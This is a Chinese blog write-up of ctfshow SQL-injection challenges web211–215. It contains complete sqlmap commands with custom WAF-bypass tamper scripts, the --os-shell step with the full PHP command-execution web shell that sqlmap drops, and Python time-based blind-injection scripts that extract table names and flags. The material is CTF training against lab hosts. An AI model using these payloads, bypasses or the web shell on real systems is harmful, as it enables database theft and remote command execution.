ctfshow-web入门-sql注入（web211-web215）系统练习sqlmap的使用+开始时间盲注

于 2024-08-12 03:16:13 发布
阅读量471 收藏 7
点赞数 15
分类专栏： SQL ctfshow web 文章标签： 前端 sql 数据库 web安全 学习 mysql 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Myon5/article/details/141111561
版权
web 同时被 3 个专栏收录
168 篇文章 20 订阅
订阅专栏
ctfshow
69 篇文章 1 订阅
订阅专栏
SQL
24 篇文章 1 订阅
订阅专栏

目录

1、web211

2、web212

3、web213

4、web214

5、web215

1、web211

将空格过滤和解密操作合在了一起，那么我们就两个脚本一起用

先回顾一下上一题我们写的解密和反转的 tamper：

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()
    return retVal

结合 space2comment.py 一起使用：

注意顺序，space2comment.py 在前，查表

python sqlmap.py -u http://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=25l4jdvra9m8qjg9bitju3ur3a" --safe-url="https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper space2comment.py,myon/strrev+base64.py

查列名：

python sqlmap.py -u http://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=25l4jdvra9m8qjg9bitju3ur3a" --safe-url="https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia --columns --batch --tamper space2comment.py,myon/strrev+base64.py

查字段：

python sqlmap.py -u http://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=25l4jdvra9m8qjg9bitju3ur3a" --safe-url="https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump --batch --tamper space2comment.py,myon/strrev+base64.py

拿到 flag：ctfshow{a3872d25-98b9-4aac-99f8-b55023ca6b45}

2、web212

这次过滤了空格和星号，那么用我们前面用过的 %09，即 chr(0x09)。

除了将两个脚本结合使用，我们也可以直接将替换的操作加到我们的 payload 里面，添加后的 tamper 如下： 

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = retVal.replace(' ',chr(0x09))
        retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()

    return retVal

 

查表： 

python sqlmap.py -u http://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=rog1ioc3ifv7l9ad06mali8p19" --safe-url="https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper myon/test.py

查列：

python sqlmap.py -u http://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=rog1ioc3ifv7l9ad06mali8p19" --safe-url="https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis --columns --batch --tamper myon/test.py

查字段：

python sqlmap.py -u http://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=rog1ioc3ifv7l9ad06mali8p19" --safe-url="https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump --batch --tamper myon/test.py

拿到 flag：ctfshow{0881c54a-06e9-4061-ba10-96e46ef79f6b} 

3、web213

练习使用 --os-shell 一键 getshell 

返回逻辑和上一道题一样，因此我们的绕过脚本还是采用上一题的 test.py 。

追加 --os-shell 参数试试：

python sqlmap.py -u http://0ae41b8d-c9ff-4444-8dbb-f93485fc0811.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://0ae41b8d-c9ff-4444-8dbb-f93485fc0811.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=c477m0r86t0cucvvesir26l5al" --safe-url="https://0ae41b8d-c9ff-4444-8dbb-f93485fc0811.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper myon/test.py --os-shell

反弹了一个 shell 给我们，可以直接进行命令执行 

网站路径下新增了两个 php 文件：tmpbhsps.php 和 tmpustcn.php

访问 tmpustcn.php，发现是一个文件上传界面：

再看一下 tmpbhsps.php 的内容：

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1
";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w

看起来像是个木马后门，其实就是供我们进行命令执行的 php 文件。 

对于 mysql 数据库，sqlmap 的 --os-shell 参数就是写入两个 php 文件，其中一个是提供文件上传功能的文件，之后再上传一个是用于进行命令执行的文件，也就是最后反弹给我们的 shell。

当然，对于 --os-shell 能利用也是有一定条件的，一般需要是高权限数据库用户，并且需要知道网站的绝对路径，具有写入文件的权限，还有一些其他条件。

这里 cd 不了，那么看一下根目录下的文件，发现存在 ctfshow_flag，使用 tac 读取：

tac /ctfshow_flag

拿到 flag：ctfshow{7ab7a18b-88ea-4687-a9c2-5178ea4a55fc}

4、web214

开始基于时间盲注

没有找到注入点，看了 b 站视频，是抓首页的包，但是我实际抓出来只有一个 get 请求的包：

不管了，直接看 wp ，它这里的注入点是 ip 和 debug，将 debug 置 1，在 ip 进行注入，采用 post  请求 /api/index.php：

可以看到进行了查询

题目都说了是时间盲注，我们测一下：

debug=1&ip=sleep(5)

 观察页面确实存在延时 

开始写脚本前，我们再简单测一下 payload 是否可行：

猜测数据库名的第一个字符是 'a'

debug=1&ip=if(substr(database(),1,1)='a',sleep(3),0)

执行并未发现延时现象 

猜测数据库名第一个字符是 'c'

debug=1&ip=if(substr(database(),1,1)='c',sleep(3),0)

可以明显看出存在 3s 的延时

接下来我们就可以写 python 脚本了：

import requests
import string

url = 'http://9b7c4d89-ee01-402c-abc2-43faf75b8926.challenge.ctf.show/api/index.php'
dic = string.digits + 'abcdefctshow{-}_'
out = ''

for j in range(1, 50):
    for k in dic:
        payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',sleep(3),0)"}
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

为了节省时间，字典我规避掉了一些不可能的字符 。

这里没有判断是否猜到了最后一位，不过我们也可以看出来的，数据库名：ctfshow_web

接下来我们猜表名：

payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)"}

但是结果看起来不完整 

才意识到那个字典的内容是针对 flag 来的，但是表名和列名可能还包含了其他字符，因此我们将字典补全为所有的小写字母：

dic = string.digits + string.ascii_lowercase + '{}-_'

再跑一次：

这次没有问题，表名为：ctfshow_flagx

我们也可以用 group_concat 不用 limit：

payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)"}

这个出来的内容更多， 当然，这个也是可以通过控制 limit 的参数来跑其他行的内容。

但是都需要注意一个问题，就是 payload 里这个 select 查询语句的结果，这个整体需要用括号包裹起来，作为 substr 函数的第一个参数，试了下没有括号包裹是不行的。

我们继续猜列名：

payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'), {j}, 1) = '{k}',sleep(3),0)"}

结果没有进行分隔，不过我们也可以看出是：id，flaga，info 

最后直接查这个 flaga：

payload = {'debug': '1','ip': f"if(substr((select flaga from ctfshow_flagx), {j}, 1) = '{k}',sleep(3),0)"}

不知道为啥跑出了一个 6 ：ctfs6ow{a0f08049-097c-4f50-9795-73baaac40278}

将 6 替换为 h，得到最终 flag：ctfshow{a0f08049-097c-4f50-9795-73baaac40278}

于是又再跑了一次，这回正常了，可能是猜到 6 的时候请求响应还是耗时超过了 2s，以至于没有去判断字典后面的 h 而造成的误判。

附上完整的脚本：

# @author：Myon
# @time：20240811
import requests
import string

url = 'http://9b7c4d89-ee01-402c-abc2-43faf75b8926.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',sleep(3),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'), {j}, 1) = '{k}',sleep(3),0)"}  # 猜列名
        payload = {'debug': '1', 'ip': f"if(substr((select flaga from ctfshow_flagx), {j}, 1) = '{k}',sleep(3),0)"}  # 跑flag

        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

5、web215

和上一题一样，只是需要将单引号闭合以及后面注释掉即可，直接在上一题的脚本上改：

跑表名

payload = {'debug': '1', 'ip': f"0'or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}

为 ctfshow_flagxc 

跑列名：

payload = {'debug': '1','ip': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜列名

id，flagaa，info 

跑具体字段信息：

payload = {'debug': '1', 'ip': f"0'or if(substr((select flagaa from ctfshow_flagxc), {j}, 1) = '{k}',sleep(3),0)#"}  # 跑flag

拿到 flag：ctfshow{d07c0639-a130-491e-b3da-d5f96f0ea214}

完整脚本：

# @author：Myon
# @time：20240812
import requests
import string

url = 'http://99b9eb81-d4cc-400b-9927-942016c1a686.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"0'or if(substr(database(),{j},1)='{k}',sleep(3),0)#"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"0'or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名
        # payload = {'debug': '1','ip': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名
        # payload = {'debug': '1','ip': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜列名
        payload = {'debug': '1', 'ip': f"0'or if(substr((select flagaa from ctfshow_flagxc), {j}, 1) = '{k}',sleep(3),0)#"}  # 跑flag

        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

Myon⁶
关注
  • 15
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
ctfshow-web入门-sql注入（web171-web175）
Welcome To Myon'Blog !
07-31 1127
这里只出了一个 id，因为换行导致我们误判为到了最后一个字符，因为我们的字典里只包括数字、小写字母和下划线，因此字符没找到，便跳出外层循环结束了代码。判断一下这次又是三个字段数了，因为还是对输出过滤了 flag，所有我们还是不查用户名，用占位符占位即可。接下来我们先判断下它数据库名的长度，这个其实可以通过 burpsuite 的攻击模块爆破的，没关系，我们这里手写一遍，也锻炼下我们 python 的能力。
CTFSHOW-sql注入
Yb_140的博客
08-13 2479
web171 最简单的sql注入，先演示基本操作 payload： -1' union select 1,2,database() --+ //得到数据库名为ctfshow_web -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+ //得到数据表名为ctfshow_user -1' union select
ctfshow web入门 sql注入(超详解)201-250
qq_50589021的博客
08-23 4616
web201 查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ //代码过于简单，不宜展示 } 需要学会： 使用--user-agent 指定agent --user-agent="Mozilla/5
ctf_show web入门 sql篇 171-239
weixin_48083470的博客
07-23 1579
ctfshow web入门 sql篇 171 很简单直接联合查询 172 和第一题一样的查询语句，不过在显示内容时有过滤 过滤了flag " ' union select id,if(username='flag','a',username),password from ctfshow_user2 %23 可以在查询时将结果替换 即可 173差不多同上题 也有 like，regexp 正则匹配的方式 比较 内容 174 内容过滤了flag 和数字 直接查我查不出来 flag里肯定会有数字 选择布尔盲注
ctfshow web入门 ticks
会下雪的晴天
11-05 690
目录信息搜集web5web6web14web16web19web20爆破web21命令执行（RCE）web31web32-36web37/39web38web40web41web42web52web54web55web56sqlweb174web175 信息搜集 web5 php文件泄露，访问index.phps web6 常见文件备份参见此博客 web14 泄露重要(editor)的信息 直接在url后面添加/editor web16 payload:/tz.php --> 雅黑PHP探针 PHP探
最全CTF Web题思路总结（更新ing）
热门推荐
yjprolus的博客
02-12 4万+
个人向CTF Web题思路总结笔记
网络安全ctf比赛_学习资源整理，解题工具、比赛时间、解题思路、实战靶场、学习路线，推荐收藏！...
baimao__Ch的博客
04-23 1305
1、CTF在线工具箱：http://ctf.ssleye.com/ 包含CTF比赛中常用的编码、加解密、算法。2、CTF加解密工具箱：http://www.atoolbox.net/Category.php?Id=273、ctfhub在线工具：https://www.ctfhub.com/#/tools4、还有一些常用的网站字符串2进制互转：http://www.5ixuexiwang.com/str/from-binary.php。
网络安全-实验七-SQL注入-盲注+sqlmap使用.docx
11-10
【网络安全-实验七-SQL注入-盲注+sqlmap使用】 SQL注入是一种常见的网络攻击方式，它通过在应用程序的输入参数中嵌入恶意SQL代码，从而控制或篡改数据库的行为。在这个实验中，我们将深入理解SQL注入的盲注类型，并...
Web应用手工渗透测试——用SQLMap进行SQL盲注测试
02-26
本文主要关注SQL注入，假设读者已经了解一般的SQL注入技术，在我之前的文章中有过介绍，即通过输入不同的参数，等待服务器的反应，之后通过不同的前缀和后缀(suffixandprefix)注入到数据库。本文将更进一步，讨论SQL...
SQL注入-初入web安全-详细知识图谱
11-06
SQL注入攻击可以发生在任何使用SQL数据库的Web应用程序中，因此了解SQL注入攻击的原理和防御方法非常重要。 一、SQL注入攻击的类型 SQL注入攻击可以分为两种类型：基于 UNION Query 的 SQL 注入和基于 Error-based...
sqlmap中文手册-sql注入自动化测试工具
07-19
SQLMap支持多种SQL注入技术，包括但不限于盲注、时间基注入、错误注入、联合查询注入等。它能自动识别注入点，检测数据库类型，并尝试枚举数据库结构、表名和列名，甚至执行自定义SQL查询。此外，SQLMap还支持多种...
sql注入-注入漏洞获得数据库数据-kali-sqlmap-运维安全详细笔记
06-30
+---------+------------+-----------+---------+----------------------------------+--------------------------------------------------+ | user_id | first_name | last_name | user | password | avatar | +--...
ASP.NET Core Web API 使用Autofac框架
鲤籽鲲的博客
08-08 366
ASP.NET Core Web API 使用Autofac框架
略记一次抓取内容后解密及登录的经历
最新发布
深蓝浅蓝的天
08-09 729
从我这个不专业的爬虫工程师来看，爬虫工作是比较看耐心的，尤其是登录和其他的破解环节，一定要相信，从理论上来破的东西，它确实就能破，但确实太考验耐心了。最后再拿下登录返回的token，准备一台手机，自动接收验证码，然后启一个接受短信的服务存到redis，至此登录、请求接口、解密数据全部完成。，key是接口有返回的，但iv对方网站就隐藏的很好，除了这个iv，其他的问题都解决了，加密字符串也成功解密。尤其是解密的代码，调用栈太长了，我水平不够，整整看了2天，才从这种代码中找出了它主要的解密方式，
小程序支付（前端）
weixin_43993121的博客
08-05 834
【代码】小程序支付（前端）
前端面试宝典【CSS篇】【4】
BDawn的专栏
08-06 468
盒子模型是 CSS 中用于描述 HTML 元素布局方式的一个概念。在 CSS 中，每个元素都被视为一个矩形盒子，这个盒子由几个不同的部分组成：内容区（content）、内边距（padding）、边框（border）和外边距（margin）。 box-sizing 属性是 CSS 中的一个重要属性，它用于定义元素的盒模型是如何工作的。 CSS Sprites（也称为 CSS 精灵或 CSS 雪碧图）是一种优化网页性能的技术，它将多个小图像合并成一个单一的大图像文件
vue实现PC端图片放大缩小可鼠标拖动，鼠标滚轮控制放大缩小完整代码付效果图
a_靖的博客
08-07 255
vue实现放大缩小，拖动盒子完整代码付效果图
Vue项目通过宝塔部署之后，页面刷新后浏览器404页面
水w的博客
08-07 285
Vue项目通过宝塔部署之后，页面刷新后浏览器404页面
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值